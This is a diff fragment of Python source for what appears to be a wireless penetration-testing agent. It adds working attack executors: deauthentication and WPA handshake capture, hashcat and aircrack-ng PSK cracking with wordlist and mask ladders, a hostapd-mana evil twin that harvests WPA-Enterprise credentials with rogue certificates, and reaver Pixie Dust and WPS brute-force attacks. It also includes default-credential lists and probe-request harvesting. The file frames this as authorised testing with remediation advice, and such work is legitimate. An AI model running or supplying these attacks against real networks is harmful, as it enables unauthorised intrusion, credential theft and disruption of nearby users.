1489
+
1490
+ # Send deauth
1491
+ deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count), '-a', target_bssid]
1492
+ if target_client:
1493
+ deauth_cmd += ['-c', target_client]
1494
+ deauth_cmd.append(mon_iface)
1495
+
1496
+ buf.write(f'[*] Sending {deauth_count} deauth frames...\n')
1497
+ code, out = _exec_cmd(buf, deauth_cmd, timeout=60, sudo=True)
1498
+
1499
+ remaining = max(duration - 10, 5)
1500
+ buf.write(f'[*] Capturing reconnection traffic for {remaining}s...\n')
1501
+ time.sleep(remaining)
1502
+
1503
+ capture_proc.terminate()
1504
+ try:
1505
+ capture_proc.wait(timeout=10)
1506
+ except subprocess.TimeoutExpired:
1507
+ capture_proc.kill()
1508
+
1509
+ cap_file = cap_prefix + '-01.cap'
1510
+ handshake_found = False
1511
+ if os.path.exists(cap_file):
1512
+ code, check = _run_quiet(['aircrack-ng', cap_file], timeout=15)
1513
+ handshake_found = 'handshake' in check.lower()
1514
+ if handshake_found:
1515
+ buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED via deauth\n')
1516
+ buf.write(f' File: {cap_file}\n')
1517
+ else:
1518
+ buf.write('\n[-] No handshake in captured traffic\n')
1519
+ buf.flush()
1520
+
1521
+ client.send_result(jid, {
1522
+ 'target_bssid': target_bssid,
1523
+ 'target_client': target_client or 'broadcast',
1524
+ 'deauth_count': deauth_count,
1525
+ 'handshake_captured': handshake_found,
1526
+ 'capture_file': cap_file if os.path.exists(cap_file) else '',
1527
+ })
1528
+
1529
+ finally:
1530
+ _exit_monitor_mode(mon_iface, original_iface, buf)
1531
+
1532
+
1533
+ # ── Job executors (P3: crack + report) ───────────────────────────────────
1534
+
1535
+ # Attack ladder: cheapest first. Most real-world PSKs fall to one of these.
1536
+ CRACK_ATTACKS = [
1537
+ ('rockyou', '-a 0', '/usr/share/wordlists/rockyou.txt'),
1538
+ ('digits-8', '-a 3', '?d?d?d?d?d?d?d?d'),
1539
+ ('digits-10', '-a 3', '?d?d?d?d?d?d?d?d?d?d'),
1540
+ ('lower-8', '-a 3', '?l?l?l?l?l?l?l?l'),
1541
+ ]
1542
+
1543
+
1544
+ def _parse_potfile(path: str) -> list[dict]:
1545
+ """Parse hashcat .potfile into [{network_id, psk}]."""
1546
+ creds = []
1547
+ try:
1548
+ with open(path) as f:
1549
+ for line in f:
1550
+ line = line.strip()
1551
+ if not line or line.startswith('#'):
1552
+ continue
1553
+ # Format: hash:password or WPA*...:password
1554
+ parts = line.rsplit(':', 1)
1555
+ if len(parts) == 2:
1556
+ creds.append({
1557
+ 'hash_prefix': parts[0][:60],
1558
+ 'psk': parts[1],
1559
+ })
1560
+ except FileNotFoundError:
1561
+ pass
1562
+ return creds
1563
+
1564
+
1565
+ def execute_crack(client: AegisNodeClient, job: dict):
1566
+ """Offline PSK cracking of captured handshakes/PMKIDs.
1567
+
1568
+ Takes a hash file (hashcat mode 22000) and runs the attack ladder.
1569
+ The agent runs on the operator's Kali machine, so hashcat/aircrack-ng
1570
+ execute directly (no Docker needed).
1571
+ """
1572
+ jid = job['job_id']
1573
+ targets = job.get('targets', {})
1574
+ hash_file = targets.get('hash_file', '')
1575
+ capture_file = targets.get('capture_file', '')
1576
+ params = job.get('parameters', {})
1577
+ custom_wordlist = params.get('wordlist', '')
1578
+ buf = OutputBuffer(client, jid)
1579
+
1580
+ buf.write('=' * 60 + '\n')
1581
+ buf.write('[*] OFFLINE PSK CRACK\n')
1582
+ buf.write('=' * 60 + '\n\n')
1583
+
1584
+ # Step 1: Resolve or convert to hashcat 22000 format
1585
+ if hash_file and os.path.exists(hash_file):
1586
+ buf.write(f'[*] Using existing hash file: {hash_file}\n')
1587
+ elif capture_file and os.path.exists(capture_file):
1588
+ buf.write(f'[*] Converting capture to hashcat format...\n')
1589
+ hash_file = capture_file.rsplit('.', 1)[0] + '.22000'
1590
+ code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, capture_file], timeout=60)
1591
+ if code != 0 or not os.path.exists(hash_file):
1592
+ # Fallback: try aircrack-ng directly
1593
+ buf.write('[-] hcxpcapngtool failed, will try aircrack-ng path\n')
1594
+ hash_file = ''
1595
+ else:
1596
+ client.send_error(jid, 'No hash_file or capture_file specified')
1597
+ return
1598
+
1599
+ attempts = []
1600
+ cracked = False
1601
+ credentials = []
1602
+ potfile = f'/tmp/aegis_crack_{jid}.pot'
1603
+
1604
+ # Step 2: Try hashcat if we have a .22000 file
1605
+ if hash_file and os.path.exists(hash_file):
1606
+ # Check for hashcat
1607
+ has_hashcat, _ = _run_quiet(['which', 'hashcat'])
1608
+
1609
+ if has_hashcat == 0:
1610
+ ladder = list(CRACK_ATTACKS)
1611
+ if custom_wordlist and os.path.exists(custom_wordlist):
1612
+ ladder.insert(0, ('custom-wordlist', '-a 0', custom_wordlist))
1613
+
1614
+ # Check if rockyou exists, skip if not
1615
+ ladder = [(l, m, w) for l, m, w in ladder
1616
+ if not w.startswith('/') or os.path.exists(w)]
1617
+
1618
+ for label, mode, mask_or_wl in ladder:
1619
+ if cracked:
1620
+ break
1621
+ buf.write(f'\n[*] Attack: {label} ({mode} {mask_or_wl})\n')
1622
+ cmd = ['hashcat', '-m', '22000', mode, '-D', '1',
1623
+ '--potfile-path', potfile, '--quiet',
1624
+ hash_file, mask_or_wl]
1625
+ code, out = _exec_cmd(buf, cmd, timeout=3600, sudo=False)
1626
+ attempts.append({
1627
+ 'attack': label, 'mode': mode,
1628
+ 'result': 'ran' if code in (0, 1) else f'exit-{code}',
1629
+ 'output': out[-500:] if out else '',
1630
+ })
1631
+
1632
+ # Check potfile
1633
+ creds = _parse_potfile(potfile)
1634
+ if creds:
1635
+ cracked = True
1636
+ credentials = creds
1637
+ buf.write(f'\n[+] ✓ PSK RECOVERED via {label}!\n')
1638
+ for c in creds:
1639
+ buf.write(f' PSK: {c["psk"]}\n')
1640
+ break
1641
+ else:
1642
+ buf.write(f' [-] No crack with {label}\n')
1643
+ else:
1644
+ buf.write('[!] hashcat not available\n')
1645
+
1646
+ # Step 3: Fallback to aircrack-ng for .cap files
1647
+ if not cracked and capture_file and os.path.exists(capture_file):
1648
+ has_aircrack, _ = _run_quiet(['which', 'aircrack-ng'])
1649
+ if has_aircrack == 0:
1650
+ wordlists = ['/usr/share/wordlists/rockyou.txt']
1651
+ if custom_wordlist and os.path.exists(custom_wordlist):
1652
+ wordlists.insert(0, custom_wordlist)
1653
+
1654
+ for wl in wordlists:
1655
+ if not os.path.exists(wl):
1656
+ continue
1657
+ buf.write(f'\n[*] aircrack-ng with {os.path.basename(wl)}...\n')
1658
+ code, out = _exec_cmd(buf, ['aircrack-ng', '-w', wl, capture_file],
1659
+ timeout=3600)
1660
+ attempts.append({
1661
+ 'attack': f'aircrack-{os.path.basename(wl)}',
1662
+ 'result': 'ran',
1663
+ 'output': out[-500:] if out else '',
1664
+ })
1665
+
1666
+ if 'KEY FOUND!' in out:
1667
+ cracked = True
1668
+ m = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', out)
1669
+ if m:
1670
+ credentials.append({'psk': m.group(1), 'hash_prefix': ''})
1671
+ buf.write(f'\n[+] ✓ PSK RECOVERED!\n')
1672
+ if m:
1673
+ buf.write(f' PSK: {m.group(1)}\n')
1674
+ break
1675
+
1676
+ buf.write('\n' + '=' * 60 + '\n')
1677
+ if cracked:
1678
+ buf.write('[+] CRACK SUCCESSFUL — PSK recovered\n')
1679
+ buf.write('[*] This is the proof-of-compromise finding.\n')
1680
+ buf.write('[*] Remediation: rotate the PSK immediately, enforce\n')
1681
+ buf.write(' WPA3-SAE where supported, use 20+ char passphrases\n')
1682
+ else:
1683
+ buf.write('[-] All attacks exhausted — PSK not recovered\n')
1684
+ buf.write('[*] Try a targeted wordlist or longer brute-force session\n')
1685
+ buf.write('=' * 60 + '\n')
1686
+ buf.flush()
1687
+
1688
+ client.send_result(jid, {
1689
+ 'cracked': cracked,
1690
+ 'credentials': credentials,
1691
+ 'attempts': attempts,
1692
+ 'hash_file': hash_file or '',
1693
+ 'capture_file': capture_file or '',
1694
+ })
1695
+
1696
+
1697
+ # ── P5: WPA Enterprise + Evil Twin ─────────────────────────────────────
1698
+
1699
+ EAP_TYPES = {
1700
+ 1: 'Identity', 4: 'MD5-Challenge', 6: 'GTC', 13: 'TLS',
1701
+ 17: 'LEAP', 21: 'TTLS', 25: 'PEAP', 43: 'FAST', 47: 'EAP-pwd',
1702
+ 48: 'EKE', 52: 'TEAP', 55: 'EAP-NOOB',
1703
+ }
1704
+
1705
+ EAP_WEAKNESSES = {
1706
+ 4: 'MD5-Challenge: no mutual auth, password hash crackable offline',
1707
+ 6: 'GTC: plaintext token/password over inner tunnel (if no outer tunnel, exposed)',
1708
+ 17: 'LEAP: MS-CHAPv1 based, trivially crackable with asleap',
1709
+ 21: 'TTLS: check inner method — if PAP, credentials sent in cleartext inside tunnel',
1710
+ 25: 'PEAP: if server cert not pinned, evil twin captures MSCHAPv2 hash',
1711
+ }
1712
+
1713
+
1714
+ def execute_eap_test(client: AegisNodeClient, job: dict):
1715
+ """Probe WPA-Enterprise AP for supported EAP types and misconfigurations.
1716
+
1717
+ Uses wpa_supplicant identity probes to enumerate EAP methods, then
1718
+ analyses for known weaknesses (no cert pinning, weak inner methods,
1719
+ plaintext credential methods).
1720
+ """
1721
+ jid = job['job_id']
1722
+ targets = job.get('targets', {})
1723
+ target_bssid = targets.get('bssid', '')
1724
+ target_ssid = targets.get('ssid', '')
1725
+ params = job.get('parameters', {})
1726
+ iface = params.get('interface', 'wlan0')
1727
+ buf = OutputBuffer(client, jid)
1728
+
1729
+ buf.write('=' * 60 + '\n')
1730
+ buf.write('[*] WPA ENTERPRISE EAP PROBE\n')
1731
+ buf.write(f' Target: {target_ssid} ({target_bssid})\n')
1732
+ buf.write('=' * 60 + '\n\n')
1733
+
1734
+ detected_eap = []
1735
+ vulnerabilities = []
1736
+ cert_info = {}
1737
+
1738
+ # Step 1: Attempt EAP-Identity probe with wpa_supplicant
1739
+ buf.write('[*] Phase 1: EAP type enumeration via identity probe\n')
1740
+ for eap_num, eap_name in sorted(EAP_TYPES.items()):
1741
+ conf = f'/tmp/aegis_eap_{jid}_{eap_num}.conf'
1742
+ try:
1743
+ with open(conf, 'w') as f:
1744
+ f.write(f'network={{\n ssid="{target_ssid}"\n key_mgmt=WPA-EAP\n'
1745
+ f' eap={eap_name.split("-")[0].upper()}\n identity="probe"\n'
1746
+ f' password="probe"\n phase2="auth=MSCHAPV2"\n}}\n')
1747
+ code, out = _exec_cmd(
1748
+ buf,
1749
+ ['timeout', '8', 'wpa_supplicant', '-i', iface, '-c', conf,
1750
+ '-D', 'nl80211', '-B'],
1751
+ timeout=12, sudo=True,
1752
+ )
1753
+ # Check wpa_supplicant log for EAP response
1754
+ time.sleep(2)
1755
+ _, log_out = _run_quiet(
1756
+ ['journalctl', '-u', 'wpa_supplicant', '--since', '10 seconds ago',
1757
+ '--no-pager', '-q'],
1758
+ timeout=5,
1759
+ )
1760
+ if f'EAP-{eap_name}' in log_out or f'type {eap_num}' in log_out.lower():
1761
+ detected_eap.append(eap_name)
1762
+ buf.write(f' [+] EAP-{eap_name} (type {eap_num}) ACCEPTED\n')
1763
+ if eap_num in EAP_WEAKNESSES:
1764
+ vulnerabilities.append(EAP_WEAKNESSES[eap_num])
1765
+ buf.write(f' ⚠ {EAP_WEAKNESSES[eap_num]}\n')
1766
+ _run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
1767
+ except Exception as e:
1768
+ buf.write(f' [-] Probe for {eap_name} failed: {e}\n')
1769
+ finally:
1770
+ if os.path.exists(conf):
1771
+ os.unlink(conf)
1772
+
1773
+ # Step 2: Certificate analysis if PEAP/TTLS detected
1774
+ if any(e in detected_eap for e in ('PEAP', 'TTLS', 'TLS')):
1775
+ buf.write('\n[*] Phase 2: Server certificate analysis\n')
1776
+ cert_conf = f'/tmp/aegis_cert_{jid}.conf'
1777
+ cert_file = f'/tmp/aegis_cert_{jid}.pem'
1778
+ try:
1779
+ with open(cert_conf, 'w') as f:
1780
+ f.write(f'network={{\n ssid="{target_ssid}"\n key_mgmt=WPA-EAP\n'
1781
+ f' eap=PEAP\n identity="certprobe"\n password="certprobe"\n'
1782
+ f' phase2="auth=MSCHAPV2"\n}}\n')
1783
+ code, out = _exec_cmd(
1784
+ buf,
1785
+ ['timeout', '10', 'wpa_supplicant', '-i', iface, '-c', cert_conf,
1786
+ '-D', 'nl80211'],
1787
+ timeout=15, sudo=True,
1788
+ )
1789
+ # Parse certificate details from output
1790
+ cn_match = re.search(r'subject.*?CN\s*=\s*([^\n/,]+)', out, re.I)
1791
+ issuer_match = re.search(r'issuer.*?CN\s*=\s*([^\n/,]+)', out, re.I)
1792
+ if cn_match:
1793
+ cert_info['cn'] = cn_match.group(1).strip()
1794
+ buf.write(f' Certificate CN: {cert_info["cn"]}\n')
1795
+ if issuer_match:
1796
+ cert_info['issuer'] = issuer_match.group(1).strip()
1797
+ buf.write(f' Issuer: {cert_info["issuer"]}\n')
1798
+ if 'self-signed' in out.lower() or 'SELF_SIGNED' in out:
1799
+ cert_info['self_signed'] = True
1800
+ vulnerabilities.append('Server certificate is self-signed — evil twin trivial')
1801
+ buf.write(' ⚠ SELF-SIGNED certificate detected\n')
1802
+ _run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
1803
+ except Exception as e:
1804
+ buf.write(f' [-] Certificate probe failed: {e}\n')
1805
+ finally:
1806
+ for f_path in (cert_conf, cert_file):
1807
+ if os.path.exists(f_path):
1808
+ os.unlink(f_path)
1809
+
1810
+ # Step 3: Summary + remediation
1811
+ buf.write('\n' + '=' * 60 + '\n')
1812
+ if detected_eap:
1813
+ buf.write(f'[+] Detected EAP types: {", ".join(detected_eap)}\n')
1814
+ else:
1815
+ buf.write('[-] No EAP types detected (AP may not be WPA-Enterprise)\n')
1816
+ if vulnerabilities:
1817
+ buf.write(f'[!] {len(vulnerabilities)} weakness(es) found:\n')
1818
+ for v in vulnerabilities:
1819
+ buf.write(f' • {v}\n')
1820
+ buf.write('\n[*] Remediation:\n')
1821
+ buf.write(' - Enforce EAP-TLS with mutual certificate authentication\n')
1822
+ buf.write(' - Disable legacy methods (MD5, GTC, LEAP)\n')
1823
+ buf.write(' - Pin the RADIUS server certificate on all clients\n')
1824
+ buf.write(' - Use WPA3-Enterprise (192-bit) where possible\n')
1825
+ buf.write('=' * 60 + '\n')
1826
+ buf.flush()
1827
+
1828
+ client.send_result(jid, {
1829
+ 'eap_types': detected_eap,
1830
+ 'eap_vulnerabilities': vulnerabilities,
1831
+ 'certificate': cert_info,
1832
+ 'target_bssid': target_bssid,
1833
+ 'target_ssid': target_ssid,
1834
+ })
1835
+
1836
+
1837
+ HOSTAPD_MANA_CONF = """interface={iface}
1838
+ driver=nl80211
1839
+ ssid={ssid}
1840
+ channel={channel}
1841
+ hw_mode=g
1842
+ ieee80211n=1
1843
+ wpa=2
1844
+ wpa_key_mgmt=WPA-EAP
1845
+ ieee8021x=1
1846
+ eap_server=1
1847
+ eap_user_file=/tmp/aegis_et_{jid}_users
1848
+ ca_cert=/tmp/aegis_et_{jid}_ca.pem
1849
+ server_cert=/tmp/aegis_et_{jid}_srv.pem
1850
+ private_key=/tmp/aegis_et_{jid}_srv.key
1851
+ mana_wpe=1
1852
+ mana_credout=/tmp/aegis_et_{jid}_creds.txt
1853
+ """
1854
+
1855
+ MANA_EAP_USERS = """* PEAP,TTLS,TLS,FAST
1856
+ "t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC "password" [2]
1857
+ """
1858
+
1859
+
1860
+ def execute_evil_twin(client: AegisNodeClient, job: dict):
1861
+ """Deploy an evil twin AP to capture WPA-Enterprise credentials.
1862
+
1863
+ Uses hostapd-mana to impersonate the target AP. This is the most
1864
+ aggressive wireless technique — it broadcasts a fake AP that reaches
1865
+ every client in range. Only runs with explicit evil_twin_allowed.
1866
+
1867
+ The scope gate is enforced server-side; this handler trusts it.
1868
+ """
1869
+ jid = job['job_id']
1870
+ targets = job.get('targets', {})
1871
+ target_bssid = targets.get('bssid', '')
1872
+ target_ssid = targets.get('ssid', '')
1873
+ channel = targets.get('channel', 6)
1874
+ params = job.get('parameters', {})
1875
+ iface = params.get('interface', 'wlan0')
1876
+ duration = params.get('duration', 120)
1877
+ buf = OutputBuffer(client, jid)
1878
+
1879
+ buf.write('=' * 60 + '\n')
1880
+ buf.write('[*] EVIL TWIN AP DEPLOYMENT\n')
1881
+ buf.write(f' Target SSID: {target_ssid}\n')
1882
+ buf.write(f' Target BSSID: {target_bssid}\n')
1883
+ buf.write(f' Channel: {channel}\n')
1884
+ buf.write(f' Duration: {duration}s\n')
1885
+ buf.write('[!] SCOPE-GATED: evil_twin_allowed=True required\n')
1886
+ buf.write('=' * 60 + '\n\n')
1887
+
1888
+ cred_file = f'/tmp/aegis_et_{jid}_creds.txt'
1889
+ conf_file = f'/tmp/aegis_et_{jid}.conf'
1890
+ users_file = f'/tmp/aegis_et_{jid}_users'
1891
+ cert_prefix = f'/tmp/aegis_et_{jid}'
1892
+
1893
+ # Step 1: Generate self-signed certs for the fake RADIUS
1894
+ buf.write('[*] Phase 1: Generating rogue certificates...\n')
1895
+ for ext, args in [
1896
+ ('_ca.key', ['-genrsa', '-out', f'{cert_prefix}_ca.key', '2048']),
1897
+ ('_ca.pem', ['-req', '-new', '-x509', '-key', f'{cert_prefix}_ca.key',
1898
+ '-out', f'{cert_prefix}_ca.pem', '-days', '1',
1899
+ '-subj', f'/CN=Aegis-ET-{jid}']),
1900
+ ('_srv.key', ['-genrsa', '-out', f'{cert_prefix}_srv.key', '2048']),
1901
+ ]:
1902
+ code, out = _run_quiet(['openssl'] + args, timeout=10)
1903
+ if code != 0:
1904
+ client.send_error(jid, f'Certificate generation failed: {out[:200]}')
1905
+ return
1906
+
1907
+ # Server CSR + sign
1908
+ code, _ = _run_quiet(['openssl', 'req', '-new', '-key', f'{cert_prefix}_srv.key',
1909
+ '-out', f'{cert_prefix}_srv.csr',
1910
+ '-subj', f'/CN={target_ssid}'], timeout=10)
1911
+ code, _ = _run_quiet(['openssl', 'x509', '-req', '-in', f'{cert_prefix}_srv.csr',
1912
+ '-CA', f'{cert_prefix}_ca.pem', '-CAkey', f'{cert_prefix}_ca.key',
1913
+ '-CAcreateserial', '-out', f'{cert_prefix}_srv.pem',
1914
+ '-days', '1'], timeout=10)
1915
+ buf.write(' [+] Rogue certificates ready\n')
1916
+
1917
+ # Step 2: Write hostapd-mana config
1918
+ buf.write('[*] Phase 2: Configuring hostapd-mana...\n')
1919
+ with open(users_file, 'w') as f:
1920
+ f.write(MANA_EAP_USERS)
1921
+ conf_content = HOSTAPD_MANA_CONF.format(
1922
+ iface=iface, ssid=target_ssid, channel=channel, jid=jid,
1923
+ )
1924
+ with open(conf_file, 'w') as f:
1925
+ f.write(conf_content)
1926
+
1927
+ # Step 3: Enter monitor mode and set channel
1928
+ buf.write('[*] Phase 3: Preparing interface...\n')
1929
+ _enter_monitor_mode(iface, buf)
1930
+
1931
+ # Step 4: Launch hostapd-mana
1932
+ buf.write(f'[*] Phase 4: Launching evil twin for {duration}s...\n')
1933
+ has_mana, _ = _run_quiet(['which', 'hostapd-mana'])
1934
+ hostapd_bin = 'hostapd-mana' if has_mana == 0 else 'hostapd'
1935
+
1936
+ try:
1937
+ proc = subprocess.Popen(
1938
+ ['sudo', hostapd_bin, conf_file],
1939
+ stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
1940
+ text=True,
1941
+ )
1942
+ start = time.time()
1943
+ while time.time() - start < duration:
1944
+ line = ''
1945
+ try:
1946
+ line = proc.stdout.readline()
1947
+ except Exception:
1948
+ pass
1949
+ if line:
1950
+ buf.write(f' {line.rstrip()}\n')
1951
+ if 'mana_wpe' in line.lower() or 'credential' in line.lower():
1952
+ buf.write(' [+] *** CREDENTIAL CAPTURED ***\n')
1953
+ time.sleep(0.5)
1954
+ finally:
1955
+ if proc.poll() is None:
1956
+ _run_quiet(['sudo', 'kill', str(proc.pid)], timeout=5)
1957
+ proc.wait(timeout=5)
1958
+ _exit_monitor_mode(iface, buf)
1959
+
1960
+ # Step 5: Parse captured credentials
1961
+ captures = 0
1962
+ credential_list = []
1963
+ if os.path.exists(cred_file):
1964
+ with open(cred_file) as f:
1965
+ for line in f:
1966
+ line = line.strip()
1967
+ if not line or line.startswith('#'):
1968
+ continue
1969
+ captures += 1
1970
+ # hostapd-mana format: username:challenge:response or MSCHAPV2 hashes
1971
+ parts = line.split(':')
1972
+ cred = {'raw': line}
1973
+ if len(parts) >= 1:
1974
+ cred['username'] = parts[0]
1975
+ if len(parts) >= 3:
1976
+ cred['challenge'] = parts[1]
1977
+ cred['response'] = parts[2]
1978
+ credential_list.append(cred)
1979
+ buf.write(f' [+] Credential: {parts[0] if parts else "?"}\n')
1980
+
1981
+ # Step 6: Summary
1982
+ buf.write('\n' + '=' * 60 + '\n')
1983
+ if captures:
1984
+ buf.write(f'[+] EVIL TWIN CAPTURED {captures} credential(s)\n')
1985
+ buf.write('[*] MSCHAPv2 hashes can be cracked with asleap or hashcat -m 5500\n')
1986
+ buf.write('[*] Remediation:\n')
1987
+ buf.write(' - Enforce certificate pinning on ALL clients\n')
1988
+ buf.write(' - Deploy EAP-TLS with mutual authentication\n')
1989
+ buf.write(' - Enable 802.11w (Management Frame Protection)\n')
1990
+ buf.write(' - Train users to verify certificate prompts\n')
1991
+ else:
1992
+ buf.write('[-] No credentials captured during the observation window\n')
1993
+ buf.write('[*] Try extending the duration or deploying during peak hours\n')
1994
+ buf.write('=' * 60 + '\n')
1995
+ buf.flush()
1996
+
1997
+ # Cleanup temp files
1998
+ for pattern in (f'{cert_prefix}_*', conf_file, users_file):
1999
+ import glob
2000
+ for fp in glob.glob(pattern):
2001
+ try:
2002
+ os.unlink(fp)
2003
+ except OSError:
2004
+ pass
2005
+
2006
+ client.send_result(jid, {
2007
+ 'evil_twin_captures': captures,
2008
+ 'credentials': credential_list,
2009
+ 'target_ssid': target_ssid,
2010
+ 'target_bssid': target_bssid,
2011
+ 'channel': channel,
2012
+ 'duration': duration,
2013
+ 'hostapd_binary': hostapd_bin,
2014
+ })
2015
+
2016
+
2017
+ # ── P6: Full Pentest Toolkit ──────────────────────────────────────────────
2018
+
2019
+ # Top default credentials per vendor for router_admin and default_creds
2020
+ ROUTER_DEFAULTS = [
2021
+ ('admin', 'admin'), ('admin', 'password'), ('admin', ''), ('admin', '1234'),
2022
+ ('admin', '12345'), ('root', 'root'), ('root', ''), ('user', 'user'),
2023
+ ('admin', 'admin123'), ('cisco', 'cisco'), ('ubnt', 'ubnt'),
2024
+ ('pi', 'raspberry'), ('admin', 'changeme'),
2025
+ ]
2026
+
2027
+ SERVICE_DEFAULTS = {
2028
+ 'ssh': [('root', 'root'), ('admin', 'admin'), ('pi', 'raspberry'), ('ubnt', 'ubnt')],
2029
+ 'telnet': [('admin', 'admin'), ('root', 'root'), ('admin', '')],
2030
+ 'ftp': [('anonymous', ''), ('admin', 'admin'), ('ftp', 'ftp')],
2031
+ 'mysql': [('root', ''), ('root', 'root'), ('root', 'mysql')],
2032
+ 'postgres': [('postgres', 'postgres'), ('postgres', '')],
2033
+ 'snmp': [('public', ''), ('private', ''), ('community', '')],
2034
+ 'http': ROUTER_DEFAULTS,
2035
+ }
2036
+
2037
+ HIGH_VALUE_PORTS = {
2038
+ 22: 'SSH', 23: 'Telnet', 80: 'HTTP', 443: 'HTTPS', 445: 'SMB',
2039
+ 3306: 'MySQL', 5432: 'PostgreSQL', 1433: 'MSSQL', 1521: 'Oracle',
2040
+ 27017: 'MongoDB', 6379: 'Redis', 389: 'LDAP', 636: 'LDAPS',
2041
+ 88: 'Kerberos', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt',
2042
+ 21: 'FTP', 25: 'SMTP', 110: 'POP3', 143: 'IMAP',
2043
+ 161: 'SNMP', 5900: 'VNC', 3389: 'RDP',
2044
+ 104: 'DICOM', 2575: 'HL7', 502: 'Modbus', 47808: 'BACnet',
2045
+ 554: 'RTSP', 8554: 'RTSP-Alt',
2046
+ }
2047
+
2048
+
2049
+ def execute_wps_attack(client: AegisNodeClient, job: dict):
2050
+ """WPS PIN attack: Pixie Dust (seconds) then online brute force."""
2051
+ jid = job['job_id']
2052
+ targets = job.get('targets', {})
2053
+ target_bssid = targets.get('bssid', '')
2054
+ params = job.get('parameters', {})
2055
+ iface = params.get('interface', 'wlan0')
2056
+ buf = OutputBuffer(client, jid)
2057
+
2058
+ buf.write('=' * 60 + '\n')
2059
+ buf.write('[*] WPS PIN ATTACK\n')
2060
+ buf.write(f' Target: {target_bssid}\n')
2061
+ buf.write('=' * 60 + '\n\n')
2062
+
2063
+ mon_iface = _enter_monitor_mode(iface, buf)
2064
+ actual_iface = mon_iface or iface
2065
+ pin = ''
2066
+ psk = ''
2067
+ method = ''
2068
+
2069
+ try:
2070
+ # Phase 1: Check WPS status with wash
2071
+ buf.write('[*] Phase 1: Checking WPS status...\n')
2072
+ code, out = _exec_cmd(buf, ['sudo', 'wash', '-i', actual_iface, '-s', '-C'],
2073
+ timeout=15)
2074
+ if target_bssid.upper() not in out.upper():
2075
+ buf.write(f'[-] Target {target_bssid} WPS not detected by wash\n')
2076
+
2077
+ # Phase 2: Pixie Dust (offline, near-instant)
2078
+ buf.write('\n[*] Phase 2: Pixie Dust attack (offline)...\n')
2079
+ code, out = _exec_cmd(
2080
+ buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
2081
+ '-K', '1', '-vv', '-N'],
2082
+ timeout=120,
2083
+ )
2084
+ pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
2085
+ psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
2086
+ if pin_match:
2087
+ pin = pin_match.group(1)
2088
+ psk = psk_match.group(1) if psk_match else ''
2089
+ method = 'pixie_dust'
2090
+ buf.write(f'\n[+] PIXIE DUST SUCCESS!\n')
2091
+ buf.write(f' PIN: {pin}\n')
2092
+ if psk:
2093
+ buf.write(f' PSK: {psk}\n')
2094
+
2095
+ # Phase 3: Online brute force if Pixie Dust failed
2096
+ if not pin:
2097
+ buf.write('\n[*] Phase 3: Online PIN brute force...\n')
2098
+ buf.write(' (this may take hours — monitoring for lockout)\n')
2099
+ code, out = _exec_cmd(
2100
+ buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
2101
+ '-vv', '-N', '-d', '2', '-r', '3:30'],
2102
+ timeout=900,
2103
+ )
2104
+ if 'rate limiting' in out.lower() or 'locked' in out.lower():
2105
+ buf.write('\n[!] WPS lockout detected — stopping\n')
2106
+ pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
2107
+ psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
2108
+ if pin_match:
2109
+ pin = pin_match.group(1)
2110
+ psk = psk_match.group(1) if psk_match else ''
2111
+ method = 'brute_force'
2112
+ buf.write(f'\n[+] WPS BRUTE FORCE SUCCESS!\n')
2113
+ buf.write(f' PIN: {pin}\n')
2114
+ if psk:
2115
+ buf.write(f' PSK: {psk}\n')
2116
+ finally:
2117
+ _exit_monitor_mode(actual_iface, iface, buf)
2118
+
2119
+ buf.write('\n' + '=' * 60 + '\n')
2120
+ if pin:
2121
+ buf.write(f'[+] WPS PIN RECOVERED: {pin}\n')
2122
+ buf.write('[*] Remediation: DISABLE WPS immediately on all APs.\n')
2123
+ buf.write(' WPS bypasses password complexity entirely.\n')
2124
+ else:
2125
+ buf.write('[-] WPS attack unsuccessful (locked out or not vulnerable)\n')
2126
+ buf.write('=' * 60 + '\n')
2127
+ buf.flush()
2128
+
2129
+ client.send_result(jid, {
2130
+ 'wps_pin': pin, 'wps_psk': psk, 'method': method,
2131
+ 'target_bssid': target_bssid,
2132
+ })
2133
+
2134
+
2135
+ def execute_probe_harvest(client: AegisNodeClient, job: dict):
2136
+ """Passive monitor-mode collection of client probe requests."""
2137
+ jid = job['job_id']
2138
+ params = job.get('parameters', {})
2139
+ iface = params.get('interface', 'wlan0')
2140
+ duration = params.get('duration', 120)
2141
+ buf = OutputBuffer(client, jid)
2142
+
2143
+ buf.write('=' * 60 + '\n')
2144
+ buf.write('[*] CLIENT PROBE REQUEST HARVEST\n')
2145
+ buf.write(f' Duration: {duration}s (passive monitor mode)\n')
2146
+ buf.write('=' * 60 + '\n\n')
2147
+
2148
+ mon_iface = _enter_monitor_mode(iface, buf)
2149
+ actual_iface = mon_iface or iface
2150
+ clients = {} # mac -> set of probed SSIDs
2151
+
2152
+ try:
2153
+ buf.write('[*] Capturing probe requests...\n')
2154
+ proc = subprocess.Popen(
2155
+ ['sudo', 'tcpdump', '-i', actual_iface, '-e', '-l',
2156
+ 'type', 'mgt', 'subtype', 'probe-req'],
2157
+ stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
2158
+ )
2159
+ start = time.time()
2160
+ while time.time() - start < duration:
2161
+ try:
2162
+ line = proc.stdout.readline()
2163
+ except Exception:
2164
+ break
2165
+ if not line:
2166
+ continue
2167
+ # Parse: SA:xx:xx:xx:xx:xx ... Probe Request (SSID)
2168
+ sa_match = re.search(r'SA:([0-9a-f:]{17})', line, re.I)
2169
+ ssid_match = re.search(r'Probe Request \(([^)]+)\)', line)
2170
+ if sa_match and ssid_match:
2171
+ mac = sa_match.group(1).lower()
2172
+ ssid = ssid_match.group(1).strip()
2173
+ if ssid and ssid != 'Broadcast':
2174
+ if mac not in clients:
2175
+ clients[mac] = set()
2176
+ clients[mac].add(ssid)
2177
+ buf.write(f' {mac} → "{ssid}"\n')
2178
+ proc.terminate()
2179
